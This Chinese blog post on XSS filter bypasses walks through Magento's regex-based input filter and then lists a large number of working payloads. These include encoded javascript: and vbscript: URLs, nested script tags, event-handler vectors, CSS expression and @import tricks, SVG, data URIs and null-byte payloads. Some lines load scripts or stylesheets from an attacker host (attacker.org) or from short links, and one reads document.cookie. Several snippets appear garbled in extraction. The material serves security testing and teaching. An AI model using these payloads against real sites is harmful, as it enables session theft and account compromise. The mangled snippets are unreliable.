FLy_鹏程万里

专注于IT技术,只做IT技术的分享与研究,欢迎广大IT技术人员参与分享与讨论!...

XSS————XSS绕过Bypass的各种各样姿势

XSS 攻击是一种攻击者将 JavaScript 代码注入到用户运行页面中的攻击。为了避免这种攻击,一些应用会尝试从用户输入中移除 JavaScript 代码,但这很难完全实现。在本文中会先展示一些尝试过滤 JavaScript 的代码,并随后给出其绕过方法。

以一个网上商城应用Magento中的过滤类 Mage_Core_Model_Input_Filter_MaliciousCode为例,部分代码如下:
protected $_expressions = array(    '/(\/\*.*\*\/)/Us',  '/(\t)/',    '/(javascript\s*:)/Usi',    '/(@import)/Usi',    '/style=[^<]*((expression\s*?\([^<]*?\))|(behavior\s*:))[^<]*(?=\>)/Uis',    '/(ondblclick|onclick|onkeydown|onkeypress|onkeyup|onmousedown|onmousemove|onmouseout|onmouseover|onmouseup|onload|onunload|onerror)=[^<]*(?=\>)/Uis',    '/<\/?(script|meta|link|frame|iframe).*>/Uis',    '/src=[^<]*base64[^<]*(?=\>)/Uis',);function filter($value) {    return preg_replace($this->_expressions, '', $value);}

数组 $_expressions 中包含一系列用于过滤的正则表达式,然后通过使用 preg_replace 函数进行恶意代码的过滤。所以当尝试输入

<script>foo</script>
时,两个标签都会被移除而只剩下 foo。
下面我们来看一下一些绕过的方法。我们的目标是利用一些 HTML 来执行 JavaScript,上述一些正则表达式是为了过滤如下:
过滤的正则可能的利用
(javascript\s*)<a href="javascript:alert('xss')">
@import@import url(http://attacker.org/malicious.css)
style=…<div style="color: expression(alert('XSS'))">
<script…<script>alert("XSS")</script>
ondblclick|onclick|…

Javascript URL
链接标签里可以通过在 URL 中使用 javascript:… 来执行 JavaScript:
<a href="javascript:alert('test')">link</a>

上面的过滤会从代码中移除 javascript:,所以我们不能直接这么写代码。但我们可以尝试改变 javascript:的写法,使它依旧可以被浏览器执行但又不匹配正则表达式。首先来尝试下 URL 编码:

<a href="javascript:alert('xss')">link</a>
上面这段代码不匹配正则表达式,但是浏览器依旧会执行它,因为浏览器会首先进行 URL 解码操作。
另外,我们还可以使用 VBScript,虽然它在 IE11 中被禁用了,但依旧可以运行在旧版本的 IE 或者启用兼容模式的 IE11 上。我们可以使用类似上面 JavaScript 的方式来插入 VBScript 代码:
<a href='vbscript:MsgBox("XSS")'>link</a>
CSS import
IE 浏览器支持在 CSS 中扩展 JavaScript,这种技术称为动态特性(dynamic properties)。允许攻击者加载一个外部 CSS 样式表是相当危险的,因为攻击者现在可以在原始页面中执行 JavaScript 代码了。

<a href='vbscript:MsgBox("XSS")'>link</a>

malicious.css:
body {    color: expression(alert('XSS'));}
为了绕过对 @import 的过滤,可以在 CSS 中使用反斜杠进行绕过:
<style>@imp\ort url("http://attacker.org/malicious.css");</style>
IE 浏览器会接受反斜杠,但是我们绕过了过滤器。
行内样式(Inline style)
我们同样可以在行内样式里利用 IE 浏览器支持的动态特性:
<div style="color: expression(alert('XSS'))">

过滤器会检查关键字 style,随后跟随的不能是 <,在随后是 expression:

/style=[^<]*((expression\s*?\([^<]*?\))|(behavior\s*:))[^<]*(?=\>)/Uis

所以,让我们需要把 < 放到其他地方:

<div style="color: '<'; color: expression(alert('XSS'))">
这就绕过了过滤器,同时也是一个有效的 CSS。尽管 < 不是一个有效的颜色,但其他部分都是可以运行的。
JavaScript 事件
我们可以像如下这样在元素中定义 JavaScript 事件:

<div>

这个 JavaScript 代码当有人点击它后就会被执行,同时还有其他事件如页面加载或移动鼠标都可以触发这些事件。绝大部分的时间都被过滤器所移除了,但是依旧还有少量事件没有被过滤,例如,onmouseenter 事件:

<div>
当用户鼠标移动到 div 上时就会触发我们的代码。
另一个绕过的办法就是在属性和= 之间插入一个空格。Magento 在新版中依旧修复了这一问题。
<div>
Script 标签
Script 标签可以用于定义一个行内的脚本或者从其他地方加载脚本:
<script>alert("XSS")</script><script src="http://attacker.org/malicious.js"></script>

而我们的过滤器移除了所有的 <script> 标签。然而,它只进行一次移除操作,所以我们希望在进行移除操作后保留下我们的目标代码:

<scr<script>ipt>alert("XSS")</scr<script>ipt>
过滤器会移除两个 <script> 标签,而余下的代码正是我们所希望得到的。事实上,这种嵌套的方法可以用来绕过所有基于正则表达式的过滤。


大多数的场所是用的黑名单来做过滤器的,有三种方式绕过黑名单的测试:
1、暴力测试(输入大量的payload,看返回结果)2、根据正则推算3、利用浏览器bug
测试其他标签
接下来测试其他的标签跟属性
Src属性
<img src=x onerror=prompt(1);>
<img/src=aaa.jpg onerror=prompt(1);> 
<video src=x onerror=prompt(1);>
<audio src=x onerror=prompt(1);>
iframe标签

<iframe src="javascript:alert(2)">
<iframe/src="data:text/html;        base64,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
embed标签
<embed/src=//goo.gl/nlX0P>action属性

利用<form,<isindex等标签中的action属性执行javascript

<form action="Javascript:alert(1)"><input type=submit>
<isindex action="javascript:alert(1)" type=image>
<isindex action=j        a        vas        c        r        ipt:alert(1) type=image>
<isindex action=data:text/html, type=image>
<formaction="data:text/html,<script>alert(1)</script>"><button>CLICK

formaction属性

<isindexformaction="javascript:alert(1)" type=image>
<input type="image" formaction=JaVaScript:alert(0)>
<form><button formaction=javascript:alert(1)>CLICKME

background属性

<table background=javascript:alert(1)></table> // 在Opera 10.5和IE6上有效
poster属性
<video poster=javascript:alert(1)//></video> // Opera 10.5以下有效
data属性
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<object/data=//goo.gl/nlX0P?
code属性
<applet code="javascript:confirm(document.cookie);"> // Firefox有效
<embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>
事件触发
<svg/onload=prompt(1);>
<marquee/onstart=confirm(2)>/
<body onload=prompt(1);>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<keygen autofocus onfocus=alert(1)>
<video><source>
最短的测试向量
<q/oncut=open()>
<q/oncut=alert(1)>//在限制长度的地方很有效
嵌套
<marquee<marquee/onstart=confirm(2)>/onstart=confirm(1)>
<bodylanguage=vbsonload=alert-1//IE8有效
<command onmouseover
="\x6A\x61\x76\x61\x53\x43\x52\x49\x50\x54\x26\x63\x6F\x6C\x6F\x6E\x3B\x63\x6F\x6E\x6 6\x69\x72\x6D\x26\x6C\x70\x61\x72\x3B\x31\x26\x72\x70\x61\x72\x3B">Save</command> //IE8有效
过滤括号的情况下
当括号被过滤的时候可以使用throw来绕过
<ajavascript:window.onerror=alert;throw 1">
以上两个测试向量在Chrome跟IE在上面会出现一个“uncaught”的错误,可以用以下的向量:
<body/onload=javascript:window.onerror=eval;throw"=alert\x281\x29";>
expression属性
<img style="xss:expression(alert(0))"> // IE7以下
<div style="color:rgb(""�x:expression(alert(1))"></div> // IE7以下
<style>#test{x:expression(alert(/XSS/))}</style> // IE7以下
location属性
<a onmouseover=location="javascript:alert(1)">click
<bodyjavascript:alert(1)"">123
其他的一些payload
<meta http-equiv="refresh" content="0;url=//goo.gl/nlX0P">
<meta http-equiv="refresh" content="0;javascript:alert(1)"/>
<svg xmlns="http://www.w3.org/2000/svg"><g></g></svg>
<svg xmlns:xlink="http://www.w3.org/1999/xlink"><a><circle r=100 /><animate attributeName="xlink:href" values=";javascript:alert(1)" begin="0s" dur="0.1s" fill="freeze"/>
<svg><![CDATA[><imagexlink:href="]]><img/src=xx:xonerror=alert(2)//"></svg>
<meta content=" 1 ;JAVASCRIPT: alert(1)" http-equiv="refresh"/>
<math><a xlink:href="//jsfiddle.net/t846h/">click
当= ( ) ; :被过滤时<
svg><script>alert(/1/)</script> // 通杀所有浏览器
opera中可以不闭合
<svg><script>alert( 1) // Opera可查
实体编码
很多情况下WAF会实体编码用户的输入数据,
javascript是一个很灵活的语言,可以使用很多编码,比如十六进制,Unicode和HTML。但是也对这些编码可以用在哪个位置有规定:
属性:
href=
action=
formaction=
location=
on*=
name=
background=
poster=
src=
code=
支持的编码方式:HTML,八进制,十进制,十六进制和Unicode
属性:
data=
支持的编码:base64
基于上下文的过滤
WAF最大的问题,在于不知道输出的位置的上下文,导致根据具体环境可以绕过。
输入在属性里

<input value="XSStest" type=text>
可控位置为XSStest,可以使用
"><img src=x onerror=prompt(0);>
如果< >被过滤的话可以换成
" autofocus onfocus=alert(1)//
同样还有很多其他的payload:
"onmouseover=" prompt(0)x="
"onfocusin=alert(1) autofocusx="
" onfocusout=alert(1) autofocus x="
"onblur=alert(1) autofocusa="
输入在script标签中
例如:
<script>
Var x="Input";
</script>
可控位置在Input,可以闭合script标签插入代码,但是同样我们仅仅闭合双引号就可以执行js代码了
";alert(1)//
最终结果就是
<script>
Var x="";alert(1)//
</script>
非常规的事件监听
例如:
";document.body.addEventListener("DOMActivate",alert(1))//
";document.body.addEventListener("DOMActivate",prompt(1))//
";document.body.addEventListener("DOMActivate",confirm(1))//
下面是一些相同的类:
DOMAttrModified
DOMCharacterDataModified
DOMFocusIn
DOMFocusOut
DOMMouseScroll
DOMNodeInserted
DOMNodeInsertedIntoDocument
DOMNodeRemoved
DOMNodeRemovedFromDocument
DOMSubtreeModified

HREF内容可控
例如:
<a href="Userinput">Click</a>
可控的是Userinput那里我们需要做的只是把javascript代码输入就好了:
javascript:alert(1)//
最后组合为:
<a href="javascript:alert(1)//">Click</a>
变换
使用HTML实体URL编码绕过黑名单,href里会自动实体解码,如果都失败了,可以尝试使用vbscript在IE10以下都有效,或者使用data协议。
JavaScript变换
使用javascript协议时可使用的例子:

javascript:alert(1)
javaSCRIPT:alert(1)
JaVaScRipT:alert(1)
javas        cript:\u0061lert(1);
javascript:\u0061lert(1)
javascript:alert(document.cookie)
Vbscript变换
vbscript:alert(1);
vbscript:alert(1);
vbscr        ipt:alert(1)"
Data URl
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
JSON
当你的输入会在encodeURIComponent当中显示出来的时候,很容易插入xss代码了

encodeURIComponent("userinput")
userinput处可控,测试代码:
-alert(1)-
-prompt(1)-
-confirm(1)-
最终结果:
encodeURIComponent("-alert(1)-")
encodeURIComponent("-prompt(1)-")
SVG标签
当返回结果在svg标签中的时候,会有一个特性
<svg><script>varmyvar="YourInput";</script></svg>
YourInput可控,输入
www.site.com/test.php?var=text";alert(1)//
如果把"编码一些他仍然能够执行:
<svg><script>varmyvar="text";alert(1)//";</script></svg>
浏览器bug
字符集的bug在IE中出现过很多次,第一个就是UTF-7,但是这个只在之前的版本中可用,现在讨论一个在现在的浏览器当中可以执行的javascript。

http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v=XSS
这个页面当中我们可控当前页面的字符集,当我们常规的测试时:
http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v="><img src=x onerror=prompt(0);>
返回结果可以看到双引号被编码了:
<html>
<meta charset="utf-8"></meta>
<body>
<input type="text" value=""><img src=x onerror=prompt(0);>"></input>
</body>
</html>
设置字符集为UTF-32:
http://xsst.sinaapp.com/utf-32-1.php?charset=utf-32&v=%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80
上面这个在IE9及以下版本可以执行成功。
利用0字节绕过:

<scri%00pt>alert(1);</scri%00pt>
<scri\x00pt>alert(1);</scri%00pt>
<s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>
在IE9及以下版本有效。
阅读更多

扫码向博主提问

去开通我的Chat快问

Fly_鹏程万里

非学,无以致疑;非问,无以广识
  • 擅长领域:
  • 网络编程
  • 渗透测试
  • 代码审计
  • 密码学
  • 漏洞分析
上一篇黑客电影推荐
下一篇Wireshark使用技巧
想对作者说点什么? 我来说一句

没有更多推荐了,返回首页

关闭
关闭